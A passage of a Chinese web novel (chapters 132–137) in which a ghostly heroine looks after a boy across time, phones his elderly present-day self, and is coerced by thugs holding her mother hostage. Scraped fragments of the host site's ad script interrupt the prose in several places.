尽管是背对着她的,可那白花花的屁股蛋子却是实打实的在冲击着她眼球。 被迫化身猥琐变态怪阿姨的白幺幺…… 她没有。 她不是。 她就是真被色鬼附身,那也绝对不会对个未成年孩子出手的。 ……所以她现在转身,或者闭上眼睛还来得及吗? 第132章 大佬的舔狗青梅之错位时空的爱恋(19) 必须是来得及的! 小孩子才作选择,白幺幺那是两个都不选,她直接穿门离开浴室。 顾石川穿衣的动作瞧着不急不缓的,却比平时快了不少。 穿好衣服,转过身,发现身后空空的,已经没有白幺幺的身影。 “恶鬼!” 顾石川口中咀嚼着这两个字,唇角不知何时勾起一个不小的弧度。 …… 吃了如此大亏,受了如此大辱,遭了如此大罪。 颜晞月能忍下来,那就不是颜晞月了。 坐着轮椅进入顾家后,颜晞月一见到顾老爷子,哭红的眼睛里立马泪花闪现。 顾老爷子原本还疑惑她怎么是自己一个人回来,而且还是以这副样子回来的。 刚想开口关心,小姑娘那眼泪就扑簌簌的往下掉,跟受了什么天大的委屈似的。 说真的,这有点把顾老爷子吓到了。 没办法,人算是他看着长大的,说真的,还从未见人这般哭过。 而且,两个人出去,怎么就只有一个人坐着轮椅回来了。 “颜丫头,你先别哭,到底发生了什么事?是谁欺负你了吗?还有幺幺那丫头呢?” 顾老爷子是面上着急,心里也着急。 在不确定白幺幺和三爷的关系,人要是真在他眼皮子底下出事,到时他要怎么跟三爷交代。 顾老爷子不提幺幺两字,颜晞月都要止住哭声了。 可他一提这两字,颜晞月心中的委屈如排山倒海之势瞬间倾泻而下。 顾老爷子:“……” 这……他年轻时也没怎么哄过女人,现在更不知道要如何哄个小姑娘。 而且,他心中有更关心的事想要小姑娘来解答,回应他的却是更猛烈的哭声。 怎么说,顾老爷子有点受不住。 可是,他又不能去凶人家小姑娘,让人立马别哭了。 “好了,好了,颜丫头,你先别哭,和顾爷爷说到底发生了什么?要是真有谁欺负了你,顾爷爷一定替你做主。” 颜晞月本来就是来诉委屈和告状的,顾老爷子又一次关心的发问,她便开始边哭边说。 “呜呜,顾爷爷,你回书房后,白小姐说想去买点礼物带回去送给家人,我就带着人去商场……” 这回颜晞月觉得她的讲述完全没有添油加醋,都是据实说的。 对方贪得无厌,不仅欣然接受了她二十几万的馈赠,连婉拒下或者不好意都没有。 在结账时,还不经过她的同意,又拿了个三十几万的玉镯,理直气壮,理所当然的让她一起买单。 短短几分钟的功夫,就花了她这个非亲非故冤大头六十三万,之后直接胃口大开,主动要向她讨要更多的东西。 说的话,更是无知粗鄙。 顾老爷子:“……” 听到这里,他真的不知道要说什么,毕竟是和三爷扯上关系的人。 不过,这颜丫头不会因为这样,就把人直接扔在商场,自己回来了吧。 那这丫头脚是怎么受伤的,连轮椅都坐上了。 顾老爷子刚想问,颜晞月吸了吸鼻子,继续抽抽噎噎说起来。 “顾爷爷,左右不过是点钱的事,我也不是什么小气的人,可是……可是白小姐总是说些让我大庭广众下落面子,下不来台的话。” “当时旁边太多人了,出于多方考虑,也是为白小姐好,我就找借口说临时有急事,想带着人回来,可是她不仅不领我的情,继续说些……” “之后她接了个电话,好像是她妈出了车祸,呜呜,发生这样的事,谁也不想的,我同样心里难受,也能理解,可是,可是……” 顾老爷子全然没有注意到颜晞月可是,可是了很久就是没下文,他脑中被车祸两字占据了。 孤儿寡母的,本就不容易,还遇上这种事,也不知道情况怎样? 顾老爷子这时哪有心情关心颜晞月后面说什么,他忙拿出手机给白幺幺打电话,可惜始终没人接听。 他心里那个着急呀,在家里根本坐不住。 后面还是白幺幺到家后,才有空看手机,并且给顾老爷子回了条信息,很简短,看到说人没什么大碍,他悬着的心才落下。 颜晞月没想到她说完后,顾老爷子会是这反应。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 她微低了下头,掩去眸中的怨毒与疯狂。 贱人,贱人,都是贱人。 一个个都来欺负她。 就连这老不死的也来欺负她,平时说什么把她当亲孙女疼宠。 可是现在她被人欺负成这样子,这老不死的表现真的让她很失望。 颜晞月回到家后,第一时间就是把自己关在房里开始砸东西。 家里宝贝出去一趟是坐着轮椅回家的,没一会儿就惊动了颜家众人。 颜老爷子平时是最宠这个孙女的,等门内安静后,他才敲门。 “爷爷的宝贝孙女,你这是怎么呢?快开门让爷爷瞧瞧,在外面受了什么委屈跟爷爷说,你这样把自己关在门里,会把爷爷心疼坏的。” 啪嗒门开了,颜晞月一把扑到颜老爷子怀里哭起来,边哭还不忘边述说自己的委 屈。 她不仅说了白幺幺的,还把顾老爷子也带上了。 颜老爷子那是越听越心疼,同时脸色也越来越差。 当晚,颜家除了颜晞月以外的人聚在书房里开了一场小型会议,至于会议的内容就不得知了。 而当颜家人在开会密谋啥时,隔壁的隔隔壁顾家老爷子书房里。 “这联系方式我到底是当面给,还是?” 顾老爷子纠结,顾老爷子为难,顾老爷子抓耳挠腮。 三爷交代的事,再怎么郑重对待都不为过。 他原本是想等人回来吃完饭,再就那个聊一半中断的话题继续,最后亲自将三爷的联系方式给小姑娘。 计划赶不上变化,现在人回去了,除非他明天专程跑小姑娘那一趟。 可是三爷交代的事,他要是拖到明天才完成,会不会耽误了三爷的事? 比如,三爷以为他已经把电话给了人家小姑娘,然后一天都在等着人家小姑娘的电话,疑惑人家小姑娘怎么还不给他打电话…… 顾远山大胆的猜想着,脑中还想象了下那个画面,然后身体陡然一个激灵。 不对,顾远山忙摇晃了下脑袋。 他到底在瞎想什么,三爷怎么可能这样,三爷绝对不可能这样! 第133章 大佬的舔狗青梅之错位时空的爱恋(20) 顾远山甩掉脑中那些个不切实际,根本不可能发生的想法与担忧,抬头看了看时间。 这时间过得真快啊,都快十点了。 顾远山觉得不管如何,当日事,当日毕,还是不要隔夜的好。 他拿起手机拨号,响了十几声没人接。 “难道是睡着了?” 顾远山疑惑嘀咕,不过他没再打电话,而是以短信形式将三爷的联系方式给出去。 短信发出去后,顾远山才长长舒了口气。 他人又在书房里静坐十来分钟,才起身回房休息。 …… 夜渐深。 明亮的书房里,时不时响起书页翻动的声音。 男人修长的手指再次轻轻翻动书页,眸光却已经从书页上移开,落在正前方桌面上的手机上。 也不知道是男人看书速度着实很快,还是他根本没在认真看书,书页翻动的频率有点不正常的快。 而男人三不五时的,会借着书页翻动的间隙,抬眸扫眼桌上的手机,很明显是在等谁的电话。 此时,若是顾远山在这里,围观一段时间,一定还是会先揉揉自己的眼睛,考虑自己是不是有眼疾了,不然咋就出现幻觉了呢! 而此时,若是白幺幺同志在此,瞧见男人的模样。 她第一时间肯定是上前问:“小子,你是顾石川的老来子,还是他孙子?对了,你还记得我吗?” 时钟滴答滴答地走着,书页的翻动声已经很久没响起,因为男人捧着书却没在看了,黑眸正直直盯着手机发起呆来。 零点的钟声响起。 男人似是回神般,眼睫轻轻颤动了下。 收回视线时,黑眸中似是有万般情绪纷闪而过。 男人垂眸低声呢喃“还不是她吗?” 知道这个点了,继续等下去没意义,男人终是放下手中的书,神色难辨的离开书房。 …… 清晨的阳光破开云层洒向大地,仿佛给万物镀上一层金色的透明薄纱。 “你……不怕阳光?” 正晨跑中的白幺幺一开始没反应过人是在和她说话,反应过来,就有点愣住了。 她是鬼,她应该要怕阳光的! “咳咳。” 白幺幺轻咳一声,停下跑步动作,先对人就是一阵夸。 “小石,你真棒,连鬼怕阳光这种知识都知道,不错,不错。” “不过呀!” 白幺幺话锋一转,傲娇的微抬下巴,“我可不是什么一般的鬼,我是只很厉害很厉害的恶鬼,差不多就是鬼王级别的。” “哼,区区阳光,还伤不了我了。” 白幺幺现在忽悠起小孩来,那是一套一套的,完全是脸不红心不跳的。 白幺幺停下来时,顾石川也跟着停下跑动的步子。 听她说完,他也只是简单的回了个“哦”,然后就又继续迈着步子跑起来。 白幺幺:“……” 这到底是信了,还是不信? 白幺幺也不纠结,反正她给出解释了,至于信与不信根本不重要,而且对方也无从求证。 跑完步,顾石川去浴室简单冲洗下,才下楼来吃早餐。 白幺幺已经早早坐在餐桌上等他了,见他过来,忙冲着人招手。 “小石,快来过,今早的早餐好丰富呀,你一定要多吃点。” 放往常,只能看不能吃这种折磨,白幺幺才不受了。 可是吧,今昔不同往日。 有个能看见她的人,白幺幺当然是要时刻跟着。 而且小孩人太瘦了,也不知道是不是每顿都吃得很少,她很有必要在旁边盯着人,同时督促人多吃点。 顾石川脚步停顿了下,看了眼正朝他挥手的人,眸底多了丝连他都没察觉到浅淡笑意。 等人坐下后,白幺幺瞧见人第一时间拿起咖啡就要喝。 她忙出声制止,“小石,快放下,快放下,空腹喝咖啡可不是什么好习惯。” 瞧见人听话将咖啡放下,白幺幺满意的点了点头。 她指了指桌上的粥说:“先喝粥,这一碗全都要喝光光哦。” 别墅的厨师不会餐餐都询问顾石川这个主人要吃什么,当然如果哪一餐有特别想吃的特意交代下厨师做就是了。 不然的话,厨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 师一般会多准备几个样式,比如像今早的早餐,他中式西式都有准备些。 反正不怕浪费,这楼里吃饭的人口多着了。 顾石川睨了眼桌上的皮蛋瘦肉粥,眉心微不可察的拢了下。 在白幺幺的目光催促下,他端起粥碗,动作优雅的吃起来。 无所事事的白幺幺同志就这么看着人吃,看得她真的都有些饿了。 期间,瞅见人光喝粥不吃菜,白幺幺还指挥人夹了好几口青菜。 等人喝完粥,才把空碗放下,白幺幺又指了指桌上的那屉蒸饺。 “这个瞧着也超级好吃,小石,快把它们消灭了,要是我现在吃得到,嘿嘿,就是三屉都不够我吃。” 顾石川视线不动声色的从白幺幺脸上扫过,瞧见她说话时,脸上笑意不减,并没有出现什么失落情绪,才执 起筷子。 他才刚夹起一个蒸饺放到嘴边咬了一口,就听到对方迫不及待的询问声。 “怎么样,怎么样?小石,那蒸饺的味道是不是很赞?” 顾石川细细咀嚼后,才轻点了下头。 得到肯定的答案,白幺幺傲娇的摸了摸鼻子。 “我虽然吃不到,也闻不到,但是我的眼睛还是很毒辣的,东西好不好吃,只一眼,我就能断出七八分来。” 蒸饺是厨师自己包的,个头不算小,一屉有十个。 白幺幺看着人全部吃光后,目光才在餐桌上又扫了一圈。 也不知道小孩之前的饭量是怎样的,而增加饭量必须循序渐进,不能让人一下子就吃太撑了。 白幺幺估摸了下,觉得早餐就先这样。 等十点左右,再提醒小孩喝杯牛奶吃点水果啥的。 不过她还是问道:“小石,你吃饱了吗?” 白幺幺没问还吃得下吗,更没在这个时候问小孩平时早餐都吃什么,吃多少量。 餐厅里是没其他人,可谁知道会不会突然进来人,或者刚好有人从外面经过。 要是听到小孩一个人在自言自语的,说不定会给小孩带来什么麻烦。 顾石川依旧是轻点下头,而后拿起桌上的餐巾擦了擦嘴。 第134章 大佬的舔狗青梅之错位时空的爱恋(21) 这顿早饭,白幺幺……看得很满意。 没办法,小孩太乖,全程就是她指哪打哪,让吃啥就吃啥,都不用讨价还价的。 饭后见人就要去书房,白幺幺眼疾手快的将人喊住,开启碎碎念模式。 “小石啊,你现在正是长身体的年纪,勤奋努力点是好事,可也要把握个度,注意劳逸结合,不然……不然以后可是会长不高的哦!” 白幺幺抬手比划了一个高度,“男孩子以后起码也要长到这么高,才会更容易受女孩子青睐和喜欢。” “咱们小石这长相没得说,再过几年长开了,肯定能迷倒一群小女生,不过呀,身高要是能再出众点,那就更完美了。” 白幺幺说完,朝人看去想找认同感。 然后,她眼神闪了闪,有那么一瞬,怀疑自己看错了。 “小石,你刚刚是不是脸红了?” 面色有那么一瞬间僵硬的顾石川:“……” 白幺幺嘻嘻笑了声,却没继续闹人。 男孩子脸皮薄,必须尊重下的。 “走吧,刚吃完,我们去你房间坐着聊聊天呗。” 没办法,白幺幺有挺多问题想了解的。 与其等自己跟在人身边,慢慢去发现,去了解,去推测,还不如直接问来得快。 如果能让她知道的,她相信小孩会直言不讳。 至于不能让她知道,就走一步算一步,随缘。 如果一个女人向一个男人提出去他房间里聊聊,可能会让人产生点那啥误会。 不过,一只……女鬼对着一孩子,误会个啥误会。 顾石川停住脚步,垂眸认真思考了下,才低低回了个“嗯”。 到了房间,白幺幺自己找个位置坐下,就抛出了第一个问题来。 “小石,我来了几次,都没见到你爸妈,他们人呢?” 白幺幺是出于关心才问这个问题的,真的不是因为好奇啥的。 而她的问题一出,房间里的温度仿佛骤降了好几度。 白幺幺第一次如此明显的感觉到小孩的情绪外放,心里不免咯噔一下,意识到自己问错问题了。 就在她以为不会得到回答时,一道很平静,没有任何起伏的声音响起。 “他们在很多年前就没了。” 很多年前? 白幺幺心里蓦地一堵,难怪这孩子如此早熟懂事,这般年纪就要开始承担那么多。 她早该猜到的,潜意识里却不愿去深想,抱着侥幸心理,心存意外。 瞅见人低着头,应该是在偷偷难受。 白幺幺想是她问错了问题,才会勾起人不好的回忆,只是犹豫了一瞬,她走过去给了人一个安慰的抱抱。 顾石川似是感应到什么,霍的抬头,不过抬头瞬间,还是及时将眸中的腥红隐去。 微微仰头,目光触及女人光洁如玉的下巴。 再往上,一寸一寸扫过女人的皮肤,最后落在那双饱含自责、懊恼、关心的眸子上。 一向讨厌与人有直接触碰的顾石川并没有往后退开,一点是没有必要,另一点则是是 他顺从了本心。 “你不用想太多,我没事,亲人间的生死离别很正常的,我很早之前就已经走出来了。” 被反向安慰的白幺幺同志:“……” 这……这孩子真是! 白幺幺扯起嘴角笑了笑,伸手在人头上撸了把。 明明触摸不到,可是白幺幺那动作却做得相当认真,很是那么回事。 而被如此认真的顾石川,他耳后根悄然红了。 “那小石,你现在几岁了?我算算,到时尽量在这个世界多留几年,再去投胎,说不定还能看着你结婚生子,抱孙子了。” “你以后会去投胎?” 白幺幺:“……” 这孩子,没回答她的问题就算了,怎么关注点落到这上面来了。 而且那隐含急切的声音,让白幺幺一时都不知道怎么回答了。 沉默片刻,白幺幺故意用很轻松随意的语气说:“当然呀,我是鬼,最终的归宿肯定投胎重新做人。” 她语气调侃道:“小石,你不会是舍不得我吧!不希望我去投胎,可是天下无不散的宴席 ,不过到时我要去投胎时,一定会尽量和你告 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个别的。” “反正到时你一定不可以哭鼻子知道吗?” 最后一句,白幺幺是故意说的,她当然知道小孩不可能哭鼻子。 果然离别的话题太伤感,她明明想聊的也不是这话题。 顾石川沉默了很久,才说:“可是,你不是说你是恶鬼。” 白幺幺:“……” 和聪明的小孩打交道就是这样,时不时就要被拆台。 真是越来越难忽悠了,或者说从来就没忽悠成功过也说不定。 她屈指在小孩脑门上轻轻弹了下,故作凶狠磨牙道:“我是恶鬼怎么啦,谁规定恶鬼只能下十八层地狱,不能去投胎的。” “大不了到时不能投胎做人而已,反正下辈子的事,都没记忆了,做人做畜生还是做植物……似乎都还行啦!” 顾石川低低出声,隐隐透着点懊恼 与委屈。 “我不是那个意思。” 白幺幺当然知道他不是这个意思。 只是离别这个话题有点沉重,特别是在刚提起人家父母,还知道都已经不在了的情况下,这种离别的情感可能会比平时更无限放大。 白幺幺屈指又想在小孩额头上弹下,想让他小小年纪别想那么多。 这就跟天要下雨娘要嫁人一个样,都由不得人。 只是触及小孩的眸光时,白幺幺手改变方向,最后落在了小孩头顶,轻抚了下。 “好了,你才几岁,别想那么多,说不定到时你坟头草三丈高了,我都还没去投胎。” 说到这,白幺幺乐呵呵笑道:“到时咱们说不定还能一起去投胎了。” 面上笑呵呵,心里苦哈哈,白幺幺同志深刻体会“一个谎言需要无数个谎言来掩盖”这句话的精髓了。 顾石川抿唇不说话,脸上的表情很明显,也很好懂,总结一句话就是“我听了,但我不信,你就是在骗小孩”。 白幺幺:“……” 白幺幺同志真的没招了。 她严肃着脸,一副过来人……鬼语气道:“小石同学,你还小,还不懂人有时不能活得太明白,需要难得糊涂的道理。” 第135章 大佬的舔狗青梅之错位时空的爱恋(22) 白幺幺蹲在花圃中,眼睛一眨不眨的盯着一朵开得热烈明艳月季花看。 你以为她是在赏花? 不,不,她是在数这朵月季花的花瓣数。 画面本应该是,她辣手摘花,然后将花瓣一片一片撕下来,嘴上来回重复着回去与不回去这两个词。 很经典的拿不定主意时的辅助手段,俗称全凭天意。 可她现在不是条件不允许吗,只能数下花瓣的总数,奇数代表现在就回去,偶数则代表多留一天再回去。 原来被看不到,也有被看不到的好处,她可以在这个世界彻底的当个过客,来去随心,哪里会像现在这般纠结。 来回数了两遍,她选的这朵月季花总共有二十七片花瓣。 所以…… 书房里。 白幺幺想着离开前,必须要和人说下的。 以前以为人家看不到她时,回回要离开时都还有和人说下再见。 如今这情况,就更不可能不告而别了,可怎么就有点难以启齿呢? 在白幺幺第五次踱步到办公桌前,看着人欲言又止,准备转身继续踱步时,顾石川抬头了。 “有事?” 白幺幺点头。 顾石川疑惑,却没有催促,安静的等待白幺幺的下文。 “我要离开一段时间。” 话说完,白幺幺有种如释重负的感觉。 顾石川绷着小脸,他没问一段时间具体是几天,而是问道:“还会回来吗?” 白幺幺忙不迭的重重点头,“必须会呀!” 其实白幺幺真的很怕,自己提出要离开,小孩会和她闹脾气,甚至很情绪化的问她能不能不离开。 当然这些情况出现的几率都很小,可要是真出现了怎么办? 见人如此平静,白幺幺心安了。 离开前,她当然不忘开启下碎碎念模式,叮嘱人要好好吃饭,好好休息。 下次见面时,她可是要检查的。 …… 仅开着一盏小夜灯的卧室里,白幺幺拿起手机看了下时间。 已经快凌晨一点了,果然计划赶不上变化。 她打了个哈欠,手指滑动,点开顾老爷子发过来的短信。 看到短信的内容,她眼眸倏的睁大一圈。 顾石川的联系方式??? 顾远山竟然如此轻易就把小石的联系方式给她了,明明她没失忆呀,顾远山当时的反应她都还记得很清楚。 反正感觉不应该是这样,有种这局游戏明明很难,而她还没发力,就莫名其妙通关了。 白幺幺皱眉,白幺幺百思不得其解。 她脑中下意识浮现青年版顾远山见到小石时的画面……所以顾远山在她离开后,应该是联系了小石。 她垂眸扫了眼手机屏幕上的那串数字,这应该是小石授意顾远山发的。 可是这个世界的小石应该不认识她的,或者说不认识原主的。 难道,小石年纪大了后,掌控欲也变强了。 对于平时出现在儿子或孙子身边的人都要好好调查一番,也是因此,知道了原主和他某个儿子或某个孙子的那段相遇。 白幺幺:……这孩子! 可是,给她他的联系方式干嘛? 然道不应该是直接把原主要找的那个大哥哥的联系方式给她? 白幺幺同志脑洞大开,又想到了一种可能。 不会……不会吧! 这把年纪的小石也搞封建大家长那套,没约她见面,就不是要甩张支票给她,而是准备电话里或明里或暗里的警告她别痴心妄想,别想着…… 要不是时间不对,白幺幺现在就想直接拨通这串号码。 不过又想了下,号码有了,真不急于这几个小时。 还是容她先睡一觉,一切等明天再说。 翌日。 白幺幺起的比平时还早,去菜市场买完菜,回来后她一头扎进厨房开始忙活。 等吃完早饭,一切收拾妥当后,白幺幺才得了空闲。 白母在家闲不住,白幺幺这也不让她干,那也不让她干,最后她只能去找邻居老姐妹唠唠嗑。 就这样,家里只剩下白幺幺一人。 回到房间,白幺幺拿起手机,她倒是没啥纠结,直接拨通顾远山给的那串号码。 电话响了十几声,始终没人接听。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白幺幺挑了挑眉。 已经快九点半了,这个点,就是那么小的小石都不可能赖床到这个点,更何况是现在这个年纪的小石。 白幺幺想着过个十几二十分钟再拨打下,只是她才刚要放下手机,对方竟然回拨过来了…… 白幺幺怔愣了下,才忙按下接听键。 只是电话接通后,两边竟一时无人先说话。 这个世界的小石可还没融合那个世界的记忆,未来会不会融合,谁也说不准。 所以,现在这个世界的小石是不认识她,哪怕是未来融合记忆后,也只会以为年轻时有段奇遇,和一只鬼有了段不能与外人道的故事。 白幺幺调整了下情绪表情,说话时语气紧张,透着点难为情。 “您好,那个, 不好意思,顾爷爷他可能误会我的意思了,我想要的是您孙子的联系方式,他曾救过我,我想当面和他说声谢谢,以及……以及……” “我没有孙子!” 白幺幺话还没说完,就被电话那头的人打断。 尽管有了变化,但白幺幺还是第一时间听出就是小石的声音。 只是,这声音听着怎么感觉怪怪的。 算了,先不管,电话那头还沉默等着她说话了。 白幺幺尴尬的轻咳两声,“不好意思,是我误会了,那他是您儿子?” 没想到原主要找的人真是小石的老来子呀! 厉害了我的小石!!! 随着白幺幺话落,电话那头沉默许久,才又有声音响起。 “我也没有儿子!” 白幺幺:“???” 说一个模子刻出来夸张了,但长那么像,说没点关系谁信。 可是小石现在说啥了? 他说他没有孙子,也没有儿子。 白幺幺瞬间又脑洞大开,难道小石年轻时被人偷种了?经典的一夜情后带球跑剧情? 如果真是这样,不行,等回到那个世界,她要帮小石好好注意情况。 白幺幺想到什么,嘴上没意识的就嘀咕而出。 “被偷种?一夜情带球跑?分手后发现怀孕独自养大孩子的坚强妈妈?还是捐精然后……” 第136章 大佬的舔狗青梅之错位时空的爱恋(23) “咳咳……咳咳咳……” 白幺幺是被电话那头猛烈的咳嗽声拉回思绪的。 意识到自己不小心把心里各种猜测说出来了,她心虚的摸了摸鼻子。 咳这么厉害,等下会不会咳出个好歹来,白幺幺担忧的想。 不过这咳嗽声听着怎么有点耳熟? 如果此时白幺幺有超能力,能穿透手机窥探到电话一边的情境,那小嘴肯定立马张成个o型。 而她之所以会觉得耳熟,那是因为电话那头剧烈咳嗽的人不是别人,正是顾老爷子。 顾老爷子回房后,并没能睡个好觉,而是辗转反侧了一宿。 早上起来随便吃两口,就匆匆出门了。 这不,此刻就杵在三爷的书房里。 顾远山纠结再三,还是觉得要亲自过来和三爷解释说明下一些情况比较好,当然不可否认也是抱着好奇心过来的。 他话才说一半,就见桌上三爷的手机响了。 只是响了好几声,也不见三爷接起,他心里那个蠢蠢欲动啊,真想伸长脖子瞅瞅是谁打来的。 竟然能让三爷盯着手机发呆,却迟迟没有接起来。 顾老爷子脑中冒出个大胆的猜测,该不会是……那丫头吧! 还不待他否定这个想法,书房突然安静了,然后他就看到……看到三爷脸上出现了疑似懊恼的神情。 顾老爷子:……眼花,绝对是他老眼昏花了! 就在顾老爷子还陷在自我怀疑中时,他的三爷拿起手机……应该是按照刚才打来的那个号码回拨过去了吧! 这种时候,三爷没让他回避,顾老爷子一时也忘记自己是该自觉回避的。 然后听了个全程,当然和三爷通话的人说了什么,他听不到,主要是听三爷回了什么。 我没有孙子? 我也没有儿子?? 顾老爷子脑门上飘过一排问号,对方到底都说了些什么? 之后三爷应该是不小心点了扩音,然后他都听到了些什么,脑子运转贼快的,某种惊人真相在他脑子冒了出来。 太震惊了有木有,顾老爷子就这样被自己的口水呛到了。 等人咳得不是那么猛烈后,白幺幺关心的问道:“您没事吧?” 以小石现在的年纪肯定不经这般咳呀,她可没忘记顾老爷子那咳起来没完没了,瞧着像去了半条命的模样。 想到顾老爷子,白幺幺不禁轻皱了眉头,怎么感觉刚刚的咳嗽声有点像顾老爷子的。 顾老爷子:……没错,没错,就是我,谢谢想起哟! 此时被白幺幺想起的顾老爷子正在接受视线凌迟,心里直呼要死了。 早知道就应该出去的,现在三爷的秘辛可能被他听去了,要如何补救? “出去!” 得了这一声,顾老爷子如蒙大赦的边抬手擦额头上的虚汗,边急匆匆离开书房。 没等来对方的回复,倒是听到对方应该在喊屋里的人出去。 有个答案在白幺幺脑中即将呼之欲出了。 只是稍微一思索,白幺幺就反应过来刚刚咳嗽的人就是顾老爷子。 她脑中不自觉浮现起那个世界青年版顾远山见到小石时的画面。 都过去好几十年了,这人在小石面前怎么一如既往的没长进。 也不知道过去多久,白幺幺才得到电话那边的解释。 “刚刚咳嗽的不是我。” “这,这样啊!” 莫名的,白幺幺从对方平静淡然的语气中听出了些许委屈失落等不好形容的情绪。 白幺幺:“???” 感觉有些东西电话里说不清,当然,白幺幺绝对不会承认,她想见见这个世界的小石。 特别是听到小石说他没孙子也没儿子的,白幺幺不免担心起人一把年纪了,还是孤家寡人。 “要不我们见个面吧!” 伴随着这句话的是砰的一声,不过很快电话那头就给出了解释。 “不好意思刚刚手机没拿稳,砸到桌上了。” 白幺幺:……反应这么大,不会是误会什么了吧? 白幺幺解释道:“我觉得有些事电话里说不清楚,见面聊比较好。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “好。” 白幺幺:……她以为对方会拒绝的,就算不会拒绝也不会答应得如此爽快的。 “那……” 白幺幺刚想问要约在哪个时间以及什么地方见面,就听到门铃响了。 她也没挂断电话,边走出去看是谁来了,边继续把刚刚没说完的说了。 白幺幺住的这房子当年为了安全考虑,白母直接多花钱,在入户门那装了两道门。 白幺幺打开里面这道门,隔着外面那道门,可以清楚看到门外站着四男一女。 站在最前面的那对男女,瞧着是这五人组合中年纪最大的,应该有七十来岁了。 而两个老人身后站着的三男,差不多三四十岁这样子,个个膘肥体壮的,瞧着就不像什么好人。 白幺幺疑惑皱眉,这些人谁呀?难道是来找白母的? 可又不像,毕竟这五人组合瞧着就是来者不善。 她礼貌客 气的问道:“你们是谁?有什么事?” 她话才说完,站在最前方的老太太直接毫无预兆的哭天喊地起来,真把白幺幺给吓了一跳。 “哇呜,像,真像啊,哇哟,老天爷啊,呜呜,都怪玉梅那个黑心肝烂货,我儿子尸骨未寒就带着孩子跑了,让我们祖孙俩分别那么多年。” “奶奶的好孙女呀,幸好奶奶现在找到你了,走,跟奶奶回家,你妈她不是个好东西。” 老太太说着就拿手拍门,“小幺,我是奶奶呀,你快开门让奶奶进去,然后赶紧收拾下东西,跟我们回去。” 白幺幺:“……” 啥鬼,先不说这些人身份的真实性,主要是这些人怎么突然找来了。 还有就冲着老太太对白母谩骂诋毁,白幺幺哪里会给这些人好脸色。 “不好意思,我不认识你们,请你们不要在我家门口大喊大叫的!” 白幺幺说完就要关门,老太太身后其中一个壮汉见此,直接扒拉开老太太。 “妈的,磨磨蹭蹭的,打个娘希匹的感情牌,小妞,你妈现在在我们手上,识相点就马上开门跟我们走,否则……” 第137章 大佬的舔狗青梅之错位时空的爱恋(24) 被壮汉扒拉到一边的老太太瑟缩了下脖子,苦口婆心的劝道:“奶的乖孙女,你赶紧开门,跟奶我们走,相信奶,奶怎么会害自己的亲孙女。” 白幺幺没理会外面的人,拿起手机准备给白母打电话。 看到还在通话中,稍稍迟疑了下,用略显慌乱的语气道:“不好意思,我临时有点急事,见面的时间和地点我们有空再约。” 白幺幺说完就想直接挂掉电话,电话那头立马有声音传来,透着急切和担忧。 “你把门关好了,躲起来先报警,无论如何都不要跟他们走……” 后面的话,白幺幺听不到了,因为她已经把电话挂了,然后开始给白母打电话。 对方说人在他们手上就真在他们手上吗? 总要确认下,不然不是傻吗。 外面的壮汉似是猜到她在做什么,安静的站外面,没打扰。 白幺幺连打了两通,都是无人接听的状态。 她心里已经做了最坏打算,却仍不死心的对着门外人强装镇定道:“你说我妈在你们手上,那你们让我看看我妈,不然我不信,也不会跟你们走。” 等待对方拿出让她信服证据的时间里,白幺幺脑中快速思考着。 原剧情中没有这一出,白母一个单亲妈妈带孩子,平时是比较要强点,要是太柔弱,这孤儿寡母的不被人欺负死。 但白母深知出门在外,与人为善的重要性,所以外面这些人肯定不是白母招来的。 至于那对应该是原主爷奶的老头老太,早不找来,晚不找来,偏偏这时候找来,还是带着三个明显不是好人的壮汉一起过来。 白幺幺垂眸,眼里闪过一道寒芒。 她知道今天这场戏是谁主导的了,女主,还真是好样的。 她才只是稍微收点利息,女主就忍不了了。 按照女主的性格,白幺幺行事时就猜到女主之后肯定会对她做什么。 但是,女主千不该万不该动白母的。 三名壮汉对视一眼,显然也希望白幺幺能主动跟他们走,暴力将人掳走总归容易横生枝节。 右后方的另一名壮汉掏出手机拨打了个号码,才响了两声电话就被接起。 “发张那个老娘们的照片或者视频过来。” 壮汉说完这句话,得到对方肯定回复后,挂了电话静静等待。 过去不到一分钟,壮汉的手机响了下。 他在手机屏幕上划拉几下,上前将屏幕对着门内,用眼神示意白幺幺看。 “瞧见没,你妈真的在我们手上,只要你乖乖和我们走,我们肯定不会伤害她一根汗毛的,毕竟她也算是我们少……” 壮汉话说一半,才反应过来差点说了不该说的,当即收声。 手机上是一张照片,照片中的白母此时应该是在一辆车上,手脚被绑住,眼睛也被蒙上了黑布。 白幺幺咬着唇,做出一副很努力在让自己平静的模样,开始和外面的人讨价还价。 “我可以跟你们走,不过你们要先把我妈放了。” 一个开始说话的那个壮汉听了白幺幺的要求,直接面露狰狞之色,骂骂咧咧起来。 “妈的,娘个西皮的,赶紧开门,不然我现在立马打电话过去,让人先剁掉那老娘们的一根手指头。” 白幺幺一听,简直快急哭了。 “不行,你们不能伤害我妈,好,我跟你们走。” 壮汉听了满意的点头,同时抬手拍了拍门催促道:“还不快点开门,净耽误老子们的时间。” 老太太这时又冒出头来找下存在感。 “小幺,你别害怕,奶和你爷不会害你的,你乖乖和我们走,他们就会放了你妈的。” 白幺幺咬着唇,眼眶红红的,被急的,并没有看老太太。 她缓缓地打开门,走了出去。 似是瞧她一个小姑娘,没啥战斗力,又有白母牵制着人,所以几人并没有限制她的行动能力。 白幺幺就这样跟着他们走,路上有遇到几个熟人。 他们上前关心询问,白幺幺只是个十九岁的小姑娘,亲妈还在人手上,碍于亲妈的人身安全,她脑中很慌乱,就是报警都不敢,更何况是向他们求助。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她很勉强的挤出笑来,和人说没事的,就是一些亲戚大老远的过来看她们,而她现在准备带人出去四处逛逛。 老太太是真的很喜欢找存在感,白幺幺解释完,她忙拉着旁边的老汉,开始扯嗓子。 